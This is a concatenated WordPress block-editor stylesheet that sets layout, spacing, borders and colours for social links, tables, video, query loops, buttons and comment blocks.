.wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{color:currentColor;font-size:inherit;height:auto;line-height:0;opacity:1;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links.is-style-logos-only .wp-social-link button{padding:0}.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-left:8px}.wp-block-social-links.wp-block-social-links{background:none}.wp-social-link:hover{transform:none}.editor-styles-wrapper .wp-block-social-links{padding:0}.wp-block-social-links__social-placeholder{display:flex;list-style:none;opacity:.8}.wp-block-social-links__social-placeholder>.wp-social-link{margin-left:0!important;margin-right:0!important;padding-left:0!important;padding-right:0!important;visibility:hidden;width:0!important}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex}.wp-block-social-links__social-placeholder .wp-social-link{padding:.25em}.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{padding-left:.66667em;padding-right:.66667em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{padding:0}.wp-block-social-links__social-placeholder .wp-social-link:before{border-radius:50%;content:"";display:block;height:1em;width:1em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .wp-block-social-links__social-prompt{cursor:default;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:24px;list-style:none;margin-bottom:auto;margin-top:auto;min-height:24px;order:2;padding-right:8px}.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}@media (prefers-reduced-motion:reduce){.wp-social-link.wp-social-link__is-incomplete{transition-delay:0s;transition-duration:0s}}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:#0000001a}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:#ffffff26}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{height:100%!important;margin-bottom:0}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column;gap:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}}.blocks-table__placeholder-input{width:112px}.block-editor-template-part__selection-modal{z-index:1000001}.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-template-part__selection-search{background:#fff;padding:16px 0;position:sticky;top:0;z-index:2}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}.wp-block-video.wp-block-video.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e}.wp-block-video.wp-block-video.is-selected .components-placeholder>svg{opacity:0}.wp-block-video.wp-block-video.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-video.wp-block-video.is-selected .components-placeholder:before{opacity:0}.wp-block-video.wp-block-video .components-button,.wp-block-video.wp-block-video .components-placeholder__instructions,.wp-block-video.wp-block-video .components-placeholder__label{transition:none}.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.editor-video-poster-control .components-base-control__label{display:block}.editor-video-poster-control .components-button{margin-right:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-left:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{padding:0;width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{padding:12px}.editor-styles-wrapper ul.wp-block-post-template{list-style:none;margin-left:0;padding-left:0}.block-library-query-toolbar__popover .components-popover__content{min-width:230px}.wp-block-query__create-new-link{padding:0 16px 16px 52px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr 1fr;grid-gap:8px}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-library-query__pattern-selection-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{max-height:250px}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:2px;padding:16px 0;position:sticky;top:0;z-index:2}.block-library-query-toolspanel__filters .components-form-token-field__help{margin-bottom:0}.block-library-query-toolspanel__filters .block-library-query-inspector__taxonomy-control:not(:last-child){margin-bottom:24px}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.wp-block-query__enhanced-pagination-notice{margin:0}.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin:.5em .5em .5em 0}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-right:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-post-featured-image .block-editor-media-placeholder{-webkit-backdrop-filter:none;backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;min-height:200px;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-left-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}.wp-block-post-featured-image>a{cursor:default}.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%}.wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto}.wp-block-post-content.wp-block-post-content{-webkit-user-select:none;user-select:none}.wp-element-button{cursor:revert}.wp-element-button[role=textbox]{cursor:text}:root .editor-styles-wrapper .has-very-light-gray-background-color{background-color:#eee}:root .editor-styles-wrapper .has-very-dark-gray-background-color{background-color:#313131}:root .editor-styles-wrapper .has-very-light-gray-color{color:#eee}:root .editor-styles-wrapper .has-very-dark-gray-color{color:#313131}:root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .editor-styles-wrapper .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .editor-styles-wrapper .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .editor-styles-wrapper .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .editor-styles-wrapper .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .editor-styles-wrapper .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .editor-styles-wrapper .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:where(.editor-styles-wrapper){--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:where(.editor-styles-wrapper) .has-regular-font-size{font-size:16px}:where(.editor-styles-wrapper) .has-larger-font-size{font-size:42px}:where(.editor-styles-wrapper) .has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}:where(.editor-styles-wrapper) .has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:where(.editor-styles-wrapper) iframe:not([frameborder]){border:0}.wp-block-audio figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio figcaption{
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}

.wp-block-code{
  border:1px solid #ccc;
  border-radius:4px;
  font-family:Menlo,Consolas,monaco,monospace;
  padding:.8em 1em;
}

.wp-block-embed figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-embed figcaption{
  color:#ffffffa6;
}

.wp-block-embed{
  margin:0 0 1em;
}

.blocks-gallery-caption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .blocks-gallery-caption{
  color:#ffffffa6;
}

.wp-block-image figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-image figcaption{
  color:#ffffffa6;
}

.wp-block-image{
  margin:0 0 1em;
}

.wp-block-pullquote{
  border-bottom:4px solid;
  border-top:4px solid;
  color:currentColor;
  margin-bottom:1.75em;
}
.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  text-transform:uppercase;
}

.wp-block-quote{
  border-right:.25em solid;
  margin:0 0 1.75em;
  padding-right:1em;
}
.wp-block-quote cite,.wp-block-quote footer{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  position:relative;
}
.wp-block-quote.has-text-align-right{
  border-left:.25em solid;
  border-right:none;
  padding-left:1em;
  padding-right:0;
}
.wp-block-quote.has-text-align-center{
  border:none;
  padding-right:0;
}
.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{
  border:none;
}

.wp-block-search .wp-block-search__label{
  font-weight:700;
}

.wp-block-search__button{
  border:1px solid #ccc;
  padding:.375em .625em;
}

:where(.wp-block-group.has-background){
  padding:1.25em 2.375em;
}

.wp-block-separator.has-css-opacity{
  opacity:.4;
}

.wp-block-separator{
  border:none;
  border-bottom:2px solid;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-separator.has-alpha-channel-opacity{
  opacity:1;
}
.wp-block-separator:not(.is-style-wide):not(.is-style-dots){
  width:100px;
}
.wp-block-separator.has-background:not(.is-style-dots){
  border-bottom:none;
  height:1px;
}
.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){
  height:2px;
}

.wp-block-table{
  margin:0 0 1em;
}
.wp-block-table td,.wp-block-table th{
  word-break:normal;
}
.wp-block-table figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-table figcaption{
  color:#ffffffa6;
}

.wp-block-video figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-video figcaption{
  color:#ffffffa6;
}

.wp-block-video{
  margin:0 0 1em;
}

.wp-block-template-part.has-background{
  margin-bottom:0;
  margin-top:0;
  padding:1.25em 2.375em;
}.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:#ffffffa6}.wp-block-audio{margin:0 0 1em}.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}.wp-block-embed figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:#ffffffa6}.wp-block-embed{margin:0 0 1em}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:#ffffffa6}.wp-block-image{margin:0 0 1em}.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-right:.25em solid;margin:0 0 1.75em;padding-right:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:.25em solid;border-right:none;padding-left:1em;padding-right:0}.wp-block-quote.has-text-align-center{border:none;padding-right:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{border:none}.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}:where(.wp-block-group.has-background){padding:1.25em 2.375em}.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:#ffffffa6}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:#ffffffa6}.wp-block-video{margin:0 0 1em}.wp-block-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}.wp-element-button{
  cursor:revert;
}
.wp-element-button[role=textbox]{
  cursor:text;
}.wp-block-button__link{
  background-color:#32373c;
  border-radius:9999px;
  box-shadow:none;
  color:#fff;
  font-size:1.125em;
  padding:calc(.667em + 2px) calc(1.333em + 2px);
  text-decoration:none;
}

.wp-block-file__button{
  background:#32373c;
  color:#fff;
}.wp-element-button{cursor:pointer}.wp-element-button{
  cursor:revert;
}
.wp-element-button[role=textbox]{
  cursor:text;
}ul.wp-block-archives{
  padding-right:2.5em;
}

.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.wp-block-avatar__image img{
  width:100%;
}

.wp-block-avatar.aligncenter .components-resizable-box__container{
  margin:0 auto;
}

.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{
  padding-left:0;
  padding-right:0;
}
.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{
  display:block;
}
.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{
  display:none;
}

.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff;
}

.wp-block[data-align=center]>.wp-block-button{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align=right]>.wp-block-button{
  text-align:right;
}

.wp-block-button{
  cursor:text;
  position:relative;
}
.wp-block-button:focus{
  box-shadow:0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:-2px;
}
.wp-block-button[data-rich-text-placeholder]:after{
  opacity:.8;
}

div[data-type="core/button"]{
  display:table;
}

.editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}

.editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){
  border-width:initial;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){
  border-top-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){
  border-left-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){
  border-bottom-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){
  border-right-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){
  border-width:initial;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){
  border-top-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){
  border-left-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){
  border-bottom-width:medium;
}
.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){
  border-right-width:medium;
}
.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{
  margin:0;
}
.wp-block-buttons>.block-list-appender{
  align-items:center;
  display:inline-flex;
}
.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{
  justify-content:flex-start;
}
.wp-block-buttons>.wp-block-button:focus{
  box-shadow:none;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{
  margin-left:auto;
  margin-right:auto;
  margin-top:0;
  width:100%;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{
  margin-bottom:0;
}
.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}

.wp-block[data-align=center]>.wp-block-buttons{
  align-items:center;
  justify-content:center;
}

.wp-block[data-align=right]>.wp-block-buttons{
  justify-content:flex-end;
}

.wp-block-categories ul{
  padding-right:2.5em;
}
.wp-block-categories ul ul{
  margin-top:6px;
}
[data-align=center] .wp-block-categories{
  text-align:center;
}

.wp-block-code code{
  background:none;
}

.wp-block-columns :where(.wp-block){
  margin-left:0;
  margin-right:0;
  max-width:none;
}

html :where(.wp-block-column){
  margin-bottom:0;
  margin-top:0;
}
.wp-block-comments__legacy-placeholder,.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{
  float:right;
}
.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{
  float:left;
}
.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-right:3.25em;
}
.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}
.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}

.block-library-comments-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-comments__legacy-placeholder *{
  pointer-events:none;
}

.wp-block-comment-author-avatar__placeholder{
  border:1px dashed;
  height:100%;
  width:100%;
  stroke:currentColor;
  stroke-dasharray:3;
}

.wp-block[data-align=center]>.wp-block-comments-pagination{
  justify-content:center;
}

.editor-styles-wrapper .wp-block-comments-pagination{
  max-width:100%;
}
.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
  margin-top:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}

.wp-block-comments-pagination-numbers a{
  text-decoration:underline;
}
